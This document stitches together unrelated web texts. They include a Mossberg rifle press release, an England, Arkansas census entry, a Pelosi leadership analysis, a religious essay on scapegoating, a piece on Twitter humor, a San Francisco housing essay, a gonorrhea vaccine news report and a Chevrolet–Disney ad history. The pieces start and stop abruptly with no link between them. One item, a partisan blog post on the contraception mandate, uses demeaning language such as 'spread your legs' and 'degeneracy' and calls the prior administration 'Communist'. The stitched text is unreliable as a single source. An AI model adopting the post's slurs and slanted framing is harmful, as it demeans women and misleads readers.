All five rifles feature a 1:8 twist rate with 20 or 22-inch fluted barrels; Mossberg’s Lightning Bolt Action (LBA) Trigger System that delivers a crisp, creep-free trigger pull and is user-adjustable; and matte blue finishes on exposed metalwork.
For ease of adding a suppressor, four of the models feature a threaded barrel (5/8”-24 threads per inch) with thread cap included.
MVP LC – This AR magazine-compatible (M1A/M14 and AR10-style) bolt-action is housed in an aluminum, tan-finished, light chassis stock designed by MDT that provides a modular, ergonomic base. The free-floating, 20-inch medium-bull barrel is threaded and comes with a SilencerCo Saker muzzle brake.
Magpul Mil-Spec CTR adjustable stock, MOE pistol grip and adjustable bipod complete the MVP LC package.
Additional design features include: spiral fluted bolt; oversized tactical-style bolt handle; and Picatinny top rail for ease of adding optics. MVP-LC rifles come standard with a Magpul P-Mag 10-round magazine.
MVP LR – Featuring a benchrest-style Mosscote stock with ergonomically-designed pistol grip and palm swell, this AR magazine-compatible (M1A/M14 and AR10-style) bolt-action is designed for long-range shooting sessions.
The OD Green-finished, fully-stippled stock has an adjustable, integrated comb with a soft-feel, black rubberized Mosscote finish. The comb can be adjusted for cast (approximately .5 inch of adjustment) and a simple, push button on the stock provides a custom-like fit for proper eye/sight alignment with up to 1.5 inches of height adjustment.
The MVP LR also has a 22-inch medium-bull, threaded barrel; dual front and single rear sling swivel studs; and comes with a 10-round magazine.
MVP Predator – This more compact rifle has a gray laminate, sporter-style stock with stippling on the forend and pistol grip combined with a 20-inch medium-bull, threaded barrel.
With its patented bolt and latch designs, the MVP Predator allows the use of both M1A/M14 and AR10-style magazines. Other standard features include sling swivel studs; factory-installed Weaver-style scope bases; and 10-round magazine.
Patriot Predator – The classically-styled Patriot stock is well-designed for comfort and reduced felt recoil with its straight comb, rounded edges, raised cheekpiece and traditional black rubber recoil pad.
Textured stippling on the grip and forend completes the stock design and the Flat Dark Earth finish is ideal for varied terrain. This Patriot Predator has Mossberg’s proven twin-lug, push-feed machined-steel action at its core, fed from a lightweight polymer, flush 4-round box magazine and standard contour, free-floating 22-inch threaded barrel.
Completing the Predator package is a top-mounted Picatinny rail for ease of adding optics; oversized bolt handles; spiral-fluted bolts; and sling swivel studs.
Patriot Synthetic:
At the heart of the Patriot series is Mossberg’s proven twin-lug, push-feed machined-steel action which is fed from a lightweight polymer, flush box magazine combined with a standard contour, free-floating 22-inch (non-threaded) barrel.
This Patriot is housed in a black synthetic stock with the lines of a classic hunting rifle and the modern appeal of textured stippling on the grip and the forend. The stock design features a straight comb with rounded edges and raised cheekpiece, capped with a black rubber recoil pad for greater comfort.
Other standard features include spiral-fluted bolts; receiver-mounted, weaver-style scope bases; and sling swivel studs.
Only Mossberg can offer the 6.5mm Creedmoor in a traditional bolt-action rifle and the innovative MVP bolt-action rifle series that can utilize both M1A/M14 and AR10-style magazines.
For more information on Mossberg’s complete line of Patriot bolt-action rifles and MVP Series bolt-action rifles, please visit their website.
About O.F. Mossberg & Sons, Inc.:
Founded in 1919, O.F. Mossberg & Sons, Inc. is the oldest family-owned firearms manufacturer in America, and is the largest pump-action shotgun manufacturer in the world. Leading the way with over 100 design and utility patents to its credit, and standing as the first ISO 9001 Certified long-gun manufacturer, Mossberg is considered to be one of the most innovative firearms manufacturers in U.S. History.
England is a city in southwestern Lonoke County, Arkansas, United States and the county's fourth most populous city. The population was 2,825 at the 2010 census. It is part of the Little Rock–North Little Rock–Conway Metropolitan Statistical Area.
Geography
According to the United States Census Bureau, the city has a total area of 1.9 square miles (4.8 km²), all land.
Demographics
Historical population Census Pop. %± 1900 368 — 1910 1,407 282.3% 1920 2,408 71.1% 1930 2,130 −11.5% 1940 2,027 −4.8% 1950 2,136 5.4% 1960 2,861 33.9% 1970 3,075 7.5% 1980 3,081 0.2% 1990 3,351 8.8% 2000 2,972 −11.3% 2010 2,825 −4.9% Est. 2017 2,744 [2] −2.9% U.S. Decennial Census[3]
2015 Estimate[4]
As of the census[5] of 2000, there were 2,972 people, 1,183 households, and 830 families residing in the city. The population density was 1,597.1 people per square mile (616.9/km²). There were 1,305 housing units at an average density of 701.3/sq mi (270.9/km²). The racial makeup of the city was 65.51% White, 33.18% Black or African American, 0.37% Native American, 0.10% Asian, 0.10% from other races, and 0.74% from two or more races. 0.84% of the population were Hispanic or Latino of any race.
There were 1,183 households out of which 32.6% had children under the age of 18 living with them, 46.7% were married couples living together, 19.8% had a female householder with no husband present, and 29.8% were non-families. 26.7% of all households were made up of individuals and 13.7% had someone living alone who was 65 years of age or older. The average household size was 2.51 and the average family size was 3.03.
In the city, the population was spread out with 27.1% under the age of 18, 9.3% from 18 to 24, 26.6% from 25 to 44, 20.8% from 45 to 64, and 16.2% who were 65 years of age or older. The median age was 36 years. For every 100 females, there were 83.9 males. For every 100 females age 18 and over, there were 78.7 males.
The median income for a household in the city was $28,516, and the median income for a family was $34,335. Males had a median income of $26,449 versus $18,500 for females. The per capita income for the city was $14,095. About 14.7% of families and 17.9% of the population were below the poverty line, including 21.9% of those under age 18 and 21.8% of those age 65 or over.
Economy
The Arkansas Department of Correction operates the Willis H. Sargent Training Academy in England.[6]
Sports
England is home of the England Lions.
Education
The England Public School District is headquartered in and serves England, with students graduating from England High School.[7]
Notable people
Charles Capps, Pentecostal minister and televangelist.
The charge is led this time by a small band of mostly younger members who see Jon Ossoff’s defeat in a Georgia special election as an indictment of the longtime party leader and a moment when the future of the party is in serious doubt.
“It’s time for Nancy Pelosi to go, and the entire leadership team,” said Rep. Kathleen Rice.
Massachusetts Rep. Seth Moulton, perhaps the most vocal anti-Pelosi Democrat, said last week that “we as Democrats have to come to terms with the fact that we lost again,” before calling for “a new generation of leadership.”
Congressional Democrats have lost a lot lately. They suffered wave elections against them in 2010 and 2014, gained only small numbers of seats in 2012 and 2016, and have gone 0 for 4 in efforts to poach red seats from the GOP in post-Trump special elections.
Trump’s high disapproval ratings are the party’s best chance, they believe, to retake the House. But anti-Pelosi ads are hard to escape — and some Democrats worry that having a party leader with a baked-in underwater approval rating neutralized the natural advantages of opposition.
Earlier this year, newer members got behind Rep. Tim Ryan’s challenge to Pelosi’s leadership, and it’s clear they’re not mollified by anything they’ve seen since. At the same time, progressive activists have grown increasingly frustrated with some of Pelosi’s priority to maintain caucus unity by keeping left-wing ideas like a public option or Medicare expansion off the table during the debate over Affordable Care Act appeal.
Yet despite these new developments, the dominant story of Pelosi’s standing vis-à-vis the caucus remains exactly what it’s been for the past 15 years. She’s a prodigious fundraiser to whom many members owe favors, and her main antagonists are white men with voting records that are at least somewhat more conservative than hers. That’s not a formula for success in today’s Democratic Party, and unless the rebels manage to recruit a more formidable challenger, Pelosi’s position will be secure for about as long as she wants it.
Pelosi is trying to pull off an unusual comeback
A lot of the disagreement around Pelosi among the chattering classes basically comes down to a disagreement about default assumptions. If you assume that a legislative leader is going to stay on as long as he or she wants to, then the case against Pelosi is not ultimately all that compelling. It’s true that her poll numbers are bad and that Republicans like to feature her in ads to motivate their base. But it’s also true that basically all legislative caucus leaders have bad poll numbers (Congress is perennially unpopular) and that any Democratic leader would likely be featured in ads designed to motivate the GOP base.
At the same time, the reality is that what Pelosi is trying to pull off is actually quite unusual.
When Democrats lost their House and Senate majorities in 1994, Rep. Tom Foley was defeated and Sen. George Mitchell didn’t run for reelection.
When the GOP lost their House and Senate majorities in 2006, Rep. Dennis Hastert stepped down as party leader and Sen. Bill Frist didn’t run for reelection.
When Democrats lost their Senate majority in 2014, Harry Reid stayed on as the party’s caucus leader, but he relatively quickly announced his upcoming retirement and paved the way for a transition to Chuck Schumer’s leadership.
Former Democratic House leader Dick Gephardt never presided over a majority, but he stepped down after the party lost seats in the 2002 midterms.
To find an example of a former speaker becoming speaker again, you need to look all the way back to the 1950s: Sam Rayburn and Joseph Martin swapped gavels a couple of times during an era when politics was much less polarized.
The normal winning political strategy these days is for a party to make a comeback by presenting itself as all new and radically improved, even if the basic ideology and policy framework remains the same. By having Pelosi as their leader, Democrats are essentially asking the voters of swing districts to decide they made a mistake back in 2010 and want to take back their old favorite party again. A new leader would simply let voters decide they’re tired of the GOP and ready to give a new group a shot.
Democratic candidates don’t like to talk about Pelosi
The biggest problem with Pelosi’s status in the leadership is probably seen by the behavior over the years of the Democratic House challengers on whose success she is counting to get elected speaker. Simply put, they don’t want to talk about it.
I always ask ask Dem candidates for House seats if they'd back Pelosi for speaker and they never ever give a straight "yes." — Dave Weigel (@daveweigel) June 21, 2017
The Ossoff race threw this into particularly sharp relief, because in pretty much every visible respect, the Democratic Party establishment was fully aligned behind him — including with his strategy of offering noncommittal answers about Pelosi.
Jonathan Martin and Matt Flegenheimer reported after the election that as Pelosi rallied her loyal lieutenants in Congress: “Representative John Yarmuth, Democrat of Kentucky, heaped praise on Ms. Pelosi’s leadership skills but demurred when asked if he would want her to go to Louisville.”
“Not at a rally,” he told the reporters.
The basic question Pelosi’s camp has difficulty answering is what is the path forward for the party, really, if her own allies don’t want her speaking at their rallies? If a DCCC she largely controls can’t give its candidates a better answer to the question of whom they would support for speaker, then how is she ever going to get elected speaker?
The case for Pelosi
To Pelosi supporters, the idea that Democrats should ditch their longtime leader simply because she’s routinely smeared by Republicans smacks of appeasement.
The fact that she’s a woman in what’s still a very male-dominated congressional leadership also factors in here. Pelosi herself has indicated that she would likely have retired if Hillary Clinton had been elected president, but with that dream dashed, for the first woman speaker to be unceremoniously pushed aside — especially in favor of a man — would be a bitter pill for many Democratic women to swallow.
At times, the gender-based pushback can become a bit extreme. Pelosi’s staff has been known to try to persuade journalists that talk about a desire for a “fresh face” is a de facto sexist attack on Pelosi’s appearance, and last week’s pro-Pelosi social media pushback heavily partook of the notion that her critics were demanding a white male leader. It’s true that her last challenger, Ryan, was a white man. But the House Democratic caucus as a whole is fairly diverse, and there are any number of women and people of color who could serve in the role.
Indeed, one major knock on Pelosi’s leadership is that she’s failed to provide an upward path for younger members, including women, black people, and Latinos. Former Rep. Xavier Becerra, for example, was often discussed as a potential speaker someday, but he was encouraged to leave Congress to become California’s attorney general rather than groomed as a successor.
Fundamentally, however, Pelosi’s allies say that the job of a caucus leader isn’t to appear at rallies or to be immune to attacks from the other side. She was an effective legislator during her four years as speaker, and in the minority she’s done a skillful job of holding her caucus together in opposition to Trump. She raises boatloads of money, and she does so while maintaining a largely progressive ideological profile.
The most prominent member of the younger generation of Democratic caucus leaders, Rep. Joe Crowley of New York, could probably also raise Pelosi-style money, but he’s much closer to Wall Street, and his elevation would likely take the party in a more centrist direction.
You can’t beat something with nothing
Ultimately, the story of Pelosi’s longevity in office is not that mysterious. Ever since her 2002 whip race against Hoyer, her rivals for leadership have been white men who are positioned at least somewhat to her right ideologically, operating in the context of a House Democratic caucus that is increasingly diverse and increasingly progressive.
The bulk of Democrats are torn between admiring Pelosi’s leadership and appreciating her fundraising, on the one hand, and recognizing on the other hand that practically speaking, she is not particularly helpful to the cause of regaining the majority. But abstract recognition that a leader has some flaws is not enough to topple one, an opponent like Ryan clearly doesn’t have the juice, and progressive members are not wrong to fear that if she were to be pushed out, it’s likely she’d be succeeded by someone like Crowley whom they like less ideologically.
By contrast, Pelosi might really have a tough time fending off a challenge from someone like Vice Chair Linda Sánchez (D-CA) — a Latina Progressive Caucus member who would present a new look to the country while also cutting into Pelosi’s base in the House. The question, then, would be whether frontline members and potential challengers in red districts would actually prefer someone like that to Pelosi — faced with an alternative, they might decide they like Pelosi more than they realize. Then again, they might not and her fate would be sealed.
About the author
For secular liberals, the enemy is "the Right," especially the religious Right. For secular conservatives, it’s socialists and "bleeding heart" liberals. Evangelical Christians seem to think that the "unsaved" are the problem. For feminists, the enemy is most men, especially white, conservative, powerful men. For many Jews, the enemy is the goyem (all non-Jews). For some conservative Catholics, the enemy is liberals, Freemasons, Zionists and Communists.
Now, some of these individuals and groups may deserve, at lease to some extent, to be considered "enemies." However, the main problem with using them as scapegoats is that then we tend to avoid confronting the real problem: ourselves. Our tendency to blame our "enemies" instead of ourselves is rooted in our inordinate self-love, otherwise known as pride.
The Fathers of the Faith taught that inordinate self-love is the very essence of the darkness within us. We want praise, not criticism. We hide our faults and want them to be overlooked. We tend to rationalize the evil we do. We demand leniency when caught. We want to believe that we are good. We quickly condemn others for the faults we see in them and we want them to be punished.
This is exactly the way they Pharisees were in Jesus’ time. They thought they were good because they respected the letter of the religious law. Those who did not share their religious beliefs and practices they saw as evil. They especially hated Jesus and His followers because they did not champion the Jewish political cause, did not emphasize Jewish exclusivity, broke some of the Jewish religious traditions, and said that the Pharisees were blind hypocrites.
Now, just because we are not Jewish religious leaders, doesn’t mean we can’t be like the Pharisees. We are all like them to the degree that we refuse to confront the darkness within ourselves, believe that we are somehow superior to others (or want to be superior), and see those who seem to oppose us as enemies who we may hate and use as scapegoats.
ON THE EVENING of October 3, millions of people—most of the American political press included—turned on their televisions, sat down at their computers, logged on to Twitter, and began cracking jokes. Ninety minutes and ten million updates later, the first presidential debate would be the most-tweeted about political event in Twitter’s six-year history. For this, we can thank Big Bird.
“I love Big Bird,” Mitt Romney said while calling for the elimination of federal subsidies for public broadcasting. Immediately, journalists—and bloggers and pundits and regular citizens—began churning out wisecracks. “I wonder if Mitt and Ann Romney are going to celebrate tonight by eating, say, Big Bird,” The New York Times’s Nicholas Kristof quipped. The punch lines were followed almost immediately by parody Twitter accounts, like @BigBirdRomney, @FiredBigBird, and @FireMeElmo. One such account, @BigBird, had nearly 14,000 followers by the end of the night—putting it in the top 1 percent of Twitter users by popularity (and on par with The New York Times Magazine national correspondent Mark Leibovich). These anonymous jokesters had some good lines, but many more bad ones. “Romney will fire Big Bird and Cookie Monster and replace them with the replacement refs #bigbird,” tweeted @FiredBigBird.
By the time someone photo-shopped an image of Big Bird strapped to the roof of the Romney family station wagon, it was clear: We Are All Andy Borowitz Now. Journalists have always tried to sneak clever turns of phrase past persnickety copy editors, but Twitter allows even those obliged to adhere to the bone-dry standards of legacy media outlets to show the entire world how witty they are—and maybe even win a pat on the back from the management types who’ve decided that social media represents the newsroom’s future. The result: a cult of cleverness, where a good joke is rewarded with retweets and new followers, the two main metrics of social-media clout. I’m certainly among those spending far too much time attempting to rack up both. Still, it often seemed as though every reporter, blogger, and pundit in the country spent every waking hour of the campaign just making fun of everything.
In a huge moral and religious victory for employers across America, the President Trump Administration through the Health and Human Services department announced that they're reversing the forced birth control mandate of the Communist Obama years.
According to the Department of Health and Human Services the new rule, which will take effect immediately will add an exemption which includes “any non-profit organization that have a religious or moral objection to providing contraception.”
<p style=" margin: 12px auto 6px auto; font-family: Helvetica,Arial,Sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 14px; line-height: normal; font-size-adjust: none; font-stretch: normal; -x-system-font: none; display: block;"> <a title="View Destroying Obama's Pro-Degenerate Forced Mandate on Scribd" href="https://www.scribd.com/document/360878111/Destroying-Obama-s-Pro-Degenerate-Forced-Mandate#from_embed" style="text-decoration: underline;" >Destroying Obama's Pro-Degenerate Forced Mandate</a> by <a title="View Red Pill's profile on Scribd" href="https://www.scribd.com/user/366983429/Red-Pill#from_embed" style="text-decoration: underline;" >Red Pill</a> on Scribd</p><iframe class="scribd_iframe_embed" title="Destroying Obama's Pro-Degenerate Forced Mandate" src="https://www.scribd.com/embeds/360878111/content?start_page=1&view_mode=scroll&access_key=key-iBP5Flo9M2KgppMlf3U5&show_recommendations=true" data-auto-height="false" data-aspect-ratio="0.75" scrolling="no" id="doc_60038" width="400" height="600" frameborder="0"></iframe>
Back in 2012 Obamacare forced employers in both the small business sector as well as corporations and government agencies to provide birth control to women at no cost to them; of course putting a major burden on those industries and startups basically telling them they would have to be responsible for a woman's promiscuous behavior.
That was Obama's mantra; making everyone else accountable for the actions of others instead of teaching responsibility and educating the public.
Religious institutions rejected Obama's deal with an amazing outcry stating that he was overstepping the division of church and state by forcing them to essentially prevent child-births which as per their religion was morally incompatible.
Those disagreements led to the churches suing the Obama Administration and eventually having two Supreme Court hearings on the matters; where SCOTUS then ordered the Administration and the religious organizations to come to a compromise which never actually happened.
The new rule will immediately destroy Obama's Communist Mandate and is bring touted by religious leaders as a major victory for their individual freedoms and Constitutional Rights.
This is considered as a huge win for both social Conservatives and Christians, which in order to begin only tells those groups they have to notify their employees in writing they will no longer provide birth control or contraceptives on their dime.
If you want to spread your legs, you're going to have to pay for it just like anyone else. Degeneracy is not something that the whole of the United States of America should have to pay for.
Men don't get funding for condoms, and women should equally have to pay for their birth control seeing as this is an equal rights nation for both.
We're winning the culture war folks, lemme tell ya; thanks to President Donald J. Trump.
—<i>[email protected]</i>
<i>On Twitter:</i>
<a href="https://www.twitter.com/IWillRedPillYou">@IWillRedPillYou</a>
Housing in SF is the priciest in the country, with the average one bedroom apartment renting for over $3,000 per month (compared to the nationwide average of $1,200.)
The main reason rents are so high is because the supply of housing has been artificially restricted — new developments are constantly getting blocked by land use regulations and neighborhood associations. Meanwhile, demand to live in SF continues to rise. And since supply is not keeping pace, rents go up, as a growing number of would-be tenants outbid each other for the limited housing available.
Therefore, it’s important that we find a way to increase the rate at which we’re building new housing in SF, or it will be a city in which only the rich can afford to live.
I’ve been trying to understand why others are critical of this argument. I think there are three main areas of disagreement between what I’ll call the advocates and the critics, and I’ll briefly explain each in turn. (Note that I’m trying to present the strongest version of each argument, which may be different from the most common version.)
Disagreement #1: Would adding new housing have a noticeable effect on prices?
Critics are pessimistic about our ability to rein in housing prices in SF by increasing supply. Some simply reject or ignore the economic argument, and deny that there’s any reason to think supply would affect prices.
But the more thoughtful critics concede the advocates’ basic economic argument — that, all else equal, increasing housing supply should slow the growth of prices. Nevertheless, they’re pessimistic because they hold some combination of the following views:
Effect of supply on price is small. Critics argue that supply only has a small effect on prices, and that effect is swamped in the long run by the much larger effect of demand on prices. So even if SF adds a lot of additional housing, prices will still rise almost as quickly as they would have anyway, as long as demand to live here continues to soar. This view is mainly based on examples of other desirable cities, like New York or Singapore, which have built new housing at a faster rate than SF but nevertheless saw steep increases in price.[i]
Don’t trust studies. Advocates often cite quantitative analyses that try to estimate the effect of supply on prices. (For example, this one estimates that adding 5,000 new units each year would be enough to stabilize real prices.) But critics are more skeptical of such analyses, pointing out that they inevitably make major simplifying assumptions, and that it’s all too easy to set up an analysis to get the conclusion you want.
Effects are regional. Critics point out that the relationship between supply and prices is much weaker at the local level than the regional level. So it’s unclear whether we can reduce prices within SF itself by building more housing in SF. (I think many advocates don’t dispute this, actually — they just reply that reducing regional prices would be a great outcome.)
Induced demand. Critics worry that building new housing could actually backfire by creating new demand. If we build nice new buildings in SF, that will make the city overall a more attractive place to live, causing more outsiders to want to live here, and putting upward pressure on prices.[ii] (Interestingly, advocates seem to be split on whether the “induced demand” scenario is incoherent or merely unlikely.[iii])
Disagreement #2: Does new housing help poor tenants?
Many critics argue that any new housing built in SF would be high-end, and therefore only benefit the upper middle class (e.g., programmers at Google and Facebook).
Advocates reply, “No, actually, high-end housing would also benefit poorer tenants.” They make two arguments:
Shifting demand. If wealthy tenants have an easier time finding high-end housing, they’ll be less likely to compete for mid-range housing. That will reduce demand for mid-range housing, thereby reducing its price… And so on, with the effects of increased supply at the top rippling down the spectrum of housing quality.
Filtering. Affordable homes today were once newly-built luxury homes, which then depreciated as they aged. So building expensive new housing now is how we end up with affordable housing in the future. And evidence suggests that the faster we build new housing, the faster existing housing depreciates.
Critics are not very enthused with the filtering argument, because it won’t happen in time to help today’s generation of poor renters. I’m not sure what they think of the “shifting demand” argument, though — it seems like that should affect lower-end housing prices much more quickly than depreciation would.
But critics also worry about new housing actively hurting poor tenants, not merely failing to help them. Their concern here is displacement: poor tenants being forced to leave their current apartments. This could happen directly, via eviction, if an old building is sold to a developer and the current tenants have to leave. Or it could happen indirectly, via gentrification — an influx of wealthy people moving into new housing increases the cost of living in the neighborhood as a whole, making it unaffordable for poor tenants.
Advocates respond by pointing to studies suggesting that adding new housing in a given neighborhood is good for poor tenants in that neighborhood, and actually reduces the number of people who get displaced.[iv] (Presumably because new housing reduces low-end housing prices enough to compensate for any cost-of-living increases and evictions.)
Critics don’t find those studies compelling. Partly that’s because the causal effects are so hard to disentangle, and the quality of the evidence is far from overwhelming.
But they also feel that even if new housing reduces low-end housing prices, that doesn’t easily make up for the harms done to the unlucky tenants who get evicted, and to the communities broken up by those evictions. (Some critics also argue that there’s no justification for building new housing in existing neighborhoods, where poor tenants will be displaced, when we could instead be building on greenfields outside of the city.)
So, to sum up: this branch of the disagreement is partly empirical, over how new housing affects low-end housing prices and the risk of displacement for poor tenants. And it’s partly about values — if we can make a neighborhood more affordable for poor tenants in the long run, but at the cost of evicting some of the pre-existing poor tenants, is that fair?
Disagreement #3: Are NIMBY objections legitimate?
The archetypal opponent of new housing is the NIMBY: a current homeowner, who benefits from development restrictions because they keep his property values high and the character of his neighborhood unchanged.
NIMBYs are being selfish, advocates argue. How can society ask poorer, younger renters to pay more for their apartments, just to protect the property values and aesthetic preferences of (statistically much richer) homeowners?
Critics disagree with the advocates here for several reasons:
Many homeowners are highly leveraged. Critics argue that the way NIMBYs are portrayed, as millionaires complaining about obstructions to their view, understates the potential harm to homeowners. For lots of homeowners, their houses are their main investment, and a highly leveraged one. If we could significantly reduce housing prices, that might be better for everyone overall, but it would deal a big blow to the main investment of a bunch of middle class people.
Neighborhood character is a public good. Critics acknowledge that NIMBYs benefit disproportionately from preserving “neighborhood character.” But they think that, nevertheless, neighborhood character might also be a public good worth preserving for others. Compare San Jose and San Francisco — don’t the ethnic enclaves of the latter make it a more beautiful city to visit?
Incumbents deserve extra consideration. Advocates tend to view the desires of current and would-be residents symmetrically, and say incumbents have no more “right” to live in SF than outsiders. But critics see an asymmetry — they assign value to community, and people’s attachment to place, in a way that advocates don’t. So they think it’s worse to displace an incumbent than to prevent a migrant from moving in (hence their greater concern with displacement, above), and they’re more willing to grant incumbents some right to steward their own communities.
(Thanks to Steve Randy Waldman, Noah Smith, Brian Hanlon, Kim-Mai Cutler, Jan Sramek, and others for helping me get a handle on this issue! Any mistakes are mine alone.)
[i] Advocates and critics often interpret the same case studies differently. For example, in Tokyo it’s much easier to build new housing than it is in San Francisco, and Tokyo’s housing prices have risen much more slowly than San Francisco’s. Seems like a point in favor of the advocates’ case, right? However, the critics counter that Tokyo’s population growth has been declining, so they chalk up the city’s (relative) affordability to low demand rather than high supply.
[ii] There’s another version of this same argument in which all the wealthy people from outside SF moving into new housing here generate more demand for services, causing more lower-income workers to move into the city to provide those services, putting upward pressure on prices of lower-income housing.
[iii] Here’s an argument for why it’s unlikely, paraphrased from Noah Smith and Jeff Kaufman: “Imagine destroying a bunch of expensive apartment buildings in SF. Do you think demand for the remaining housing would fall, because the neighborhood would now be less attractive and current residents would move away? If that seems unlikely to you, then you should also think it unlikely that creating new luxury housing would cause demand to rise.” However, critics don’t buy this thought experiment. They object that there’s an asymmetry it doesn’t account for — that current residents of a city are willing to pay more to stay than outsiders are willing to pay to move there.
That's welcome news, because gonorrhea appears to be eluding treatment efforts to control the disease. Antibiotics are the only available treatment, but strains of antibiotic-resistant gonorrhea have developed, according to U.S. health officials.
"Despite efforts, a gonorrhea vaccine with any clinical effect has eluded development for over 100 years," said lead researcher Helen Petousis-Harris, a senior lecturer at the University of Auckland.
"We have found a vaccine that prevented about one-third of gonorrhea in those who received it in a real-life situation. It is far from perfect, but it is a leap in the right direction," she said.
Called MeNZB vaccine, it was developed to control a meningitis epidemic in New Zealand from 2004 to 2006 and is no longer available. But the antigens in the vaccine thought to provide the immune response to gonorrhea are included in the more recently developed 4CMenB vaccine, which is available in many countries, Petousis-Harris said.
The researchers found that people who had been vaccinated with the MeNZB vaccine were less likely to have gonorrhea than those who weren't (41 percent versus 51 percent).
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"We followed up the observation that gonorrhea rates appeared to drop in association with the use of this type of meningococcal B vaccine and found that indeed the vaccine had a protective effect against gonorrhea for a period of time after its use. About one-third of those vaccinated were protected," Petousis-Harris said.
After taking into account factors such as race, sex, socioeconomics and geographical area, the researchers calculated that vaccination reduced the odds of getting gonorrhea by 31 percent.
In the United States, teens and preteens, as well as some children and adults, are advised to get one of two meningococcal vaccines to protect against meningitis. Whether the current meningococcal vaccines would protect against gonorrhea still needs to be tested.
It's also not clear how long the immune response might last, Petousis-Harris said.
"Modeling has suggested that even a vaccine with quite a modest level of effectiveness could have a significant impact on gonorrhea over the period of fifteen years or so," she said.
Meningitis vaccine could save lives, experts say
Dr. Mitchell Kramer is chairman of the department of obstetrics and gynecology at Huntington Hospital in Huntington, N.Y.
"If gonorrhea goes untreated or is treated late, it can have a long-term health impact," he explained.
Untreated, it can lead to complications such as pelvic inflammatory disease, ectopic pregnancy and infertility, and it can make the transmission of HIV more likely, he said.
Kramer said that if a vaccine against multiple strains of gonorrhea could be developed, it would be very beneficial.
Approximately 78 million new cases of gonorrhea are seen worldwide each year, the study showed.
Given the concerning situation with multi-drug resistant gonorrhea, a vaccine might play a critical role, Petousis-Harris said.
"At the moment, there seems nowhere else to go with untreatable gonorrhea," she said. "This finding can inform further research on gonorrhea vaccine development; it provides a pointer in what may be the right direction."
For the study, Petousis-Harris and colleagues reviewed information on about 1 million people who received the MeNZB vaccine in a mass immunization program.
The researchers collected data on people aged 15 to 30 who had been diagnosed with gonorrhea or chlamydia, or both. All were eligible to get the MeNZB vaccine. The data came from 11 clinics in New Zealand.
Nearly 15,000 people were included in the analysis. More than 1,200 who had gonorrhea, more than 12,400 with chlamydia and 1,000 who had both.
The report was published July 10 in The Lancet journal.
Dr. H. Hunter Handsfield is a spokesman for the Sexual Health Association and a professor emeritus of medicine at the University of Washington Center for AIDS and STD.
"This paper is intriguing as a concept, but not as a reason to use this vaccine to protect people from gonorrhea," he said.
Developing a vaccine for gonorrhea has been elusive, he said.
With diseases such as chickenpox or measles or mumps and others, once you have had the infection, you are naturally immune to getting it again, which is why vaccines are successful in preventing disease, he explained.
With gonorrhea, however, getting the infection doesn't confer immunity to getting it again. That makes developing a vaccine problematic, Handsfield said.
Handsfield doesn't think the results of this study were strong enough to start vaccinating people in hopes of reducing the chances of getting gonorrhea.
However, even though probably every viewer was more concerned about who won what Oscar, that broadcast was also the premiere of a one-minute commercial titled "Premiere," introducing Chevrolet's new Lumina at the Disney-MGM Studios (set to open May 1, 1989). The commercial featured animated Disney characters touting the virtues of the new car at a black-tie live action Hollywood movie premiere in front of the Chinese Theater. You can see the full commercial and a selection of other short spots.
The North American Chevrolet Lumina became a popular-selling car when it first officially appeared in April 1989, despite some criticism about the lateness of its introduction to the market. The Chevrolet Lumina's first generation (that included a mid-sized four-door sedan, a two door coupe, and an All-Purpose Vehicle minivan that could seat up to seven people) ended production in August 1994, making this the shortest-lived generation of the first-generation GM W-body cars.
All three cars were showcased in the premiere commercial with Mickey Mouse (in a white tuxedo so he stood out against the black background of the car), Minnie (in an elegant white gown), Donald Duck, Daisy Duck and Pluto exiting the first car; Goofy (also in a white tuxedo) and Donald's nephews (Huey, Dewey and Louie) coming out of the second; and the Seven Dwarfs popping out of the minivan.
They were all unloaded on a red carpet while rows of appreciative fans on either side of the carpet eagerly applauded them and the newest cars.
Chevrolet signed a deal with Disney to make the 1990 Lumina the company's Official Car, with a specific association with the Disney-MGM Studios theme park. GM did not want to depend solely on technological wizardry or elegant traditional styling to win over customers from its major competitor, Ford, and hoped to see 350,000 units sold annually. The car was positioned as an alternative to Ford's Taurus.
In order to achieve these marketing goals, Chevy linked up with the Disney Company to help incorporate some of the Disney magic charisma, as well as to stimulate awareness of the Lumina name. In addition, Chevy felt the cost was worth it to position itself to the type of families who loved Disney.
General Motors' share of the American car market had dropped significantly in 1988 for the first time in 35 years, so there needed to be a major attention-grabbing publicity push. In addition, Japanese car makers were making inroads with bigger and more luxurious mid-sized cars, aimed at the same families who were visiting Disney parks and buying Chevrolets.
All Lumina advertising, both print and TV, was initially filmed and photographed at Disney-MGM Studios theme park, which, besides the sizeable licensing fee Disney was to receive, was one of the major reasons Disney agreed to the deal, to help publicize its new theme park. The arrangement was for Disney characters to appear in ads to explain the car's features. In the past, GM only used joint marketing primarily as sweepstakes prizes.
"We were afraid people might be offended by Mickey and Minnie asking them to spend as much as $14,000 for a car," said Stephen McAvoy, a Chevrolet marketing manager to The New York Times. "But our testing showed that Mickey and Minnie brought tremendous believability to our product."
Counting on the connection with Disney in its advertising was seen as a risky move for Chevy, who was hoping for greater visibility and attention but worried that the use of the characters might blur the focus of the specific advantages of the car being sold.
The Seven Dwarfs pop out of a minivan and walk the red carpet in the Lumina commercial.
"I would have concentrated more on hyping the car as much as possible with an uncluttered background," said Christopher Cedegren of J. D. Power & Associates, a California automotive consulting firm. "This campaign may overshadow the car itself."
McAvoy responded: "Disney characters are very powerful. We were forewarned that if we overused Mickey and Minnie the customer wouldn't remember the car."
To lessen this potential danger, the creative department of Campbell Ewald, Chevrolet's ad agency, chose some lesser-known Disney characters to perform in some of the 15-second advertisements, instead of using the Fab Five. Chevy was also conscious of using the Disney characters in ways that related their cartoon personalities to specific product features.
For example, Donald Duck's nephews Huey, Dewey and Louie, who personify the exuberance and carelessness of children, drop dripping ice cream cones on the back seat of a Lumina, but the ice cream does not stain because the upholstery is protected by Du Pont Scotchguard, a standard Lumina feature that Chevrolet believed would attract buyers.
In another ad, Dumbo the Flying Elephant demonstrates the roominess of Lumina's trunk, hoping adults would appreciate the wordplay connection between a car trunk and an elephant's trunk.
Craig MacGowan, executive producer of the commercials, had only four months to do all the commercials, including post-production. This meant putting the animated characters in the previously shot live-action scenes, in order to meet the deadline of showing the "Premiere" commercial on the Academy Awards presentation.
Live-action shooting took two weeks, and produced the 60-second premiere ad with the Disney characters at the Disney-MGM Studios' Chinese Theater for a nighttime Hollywood premiere, as well as all three Luminas. They also shot seven other 15-second daytime TV spots and a 30-second sweepstakes announcement.
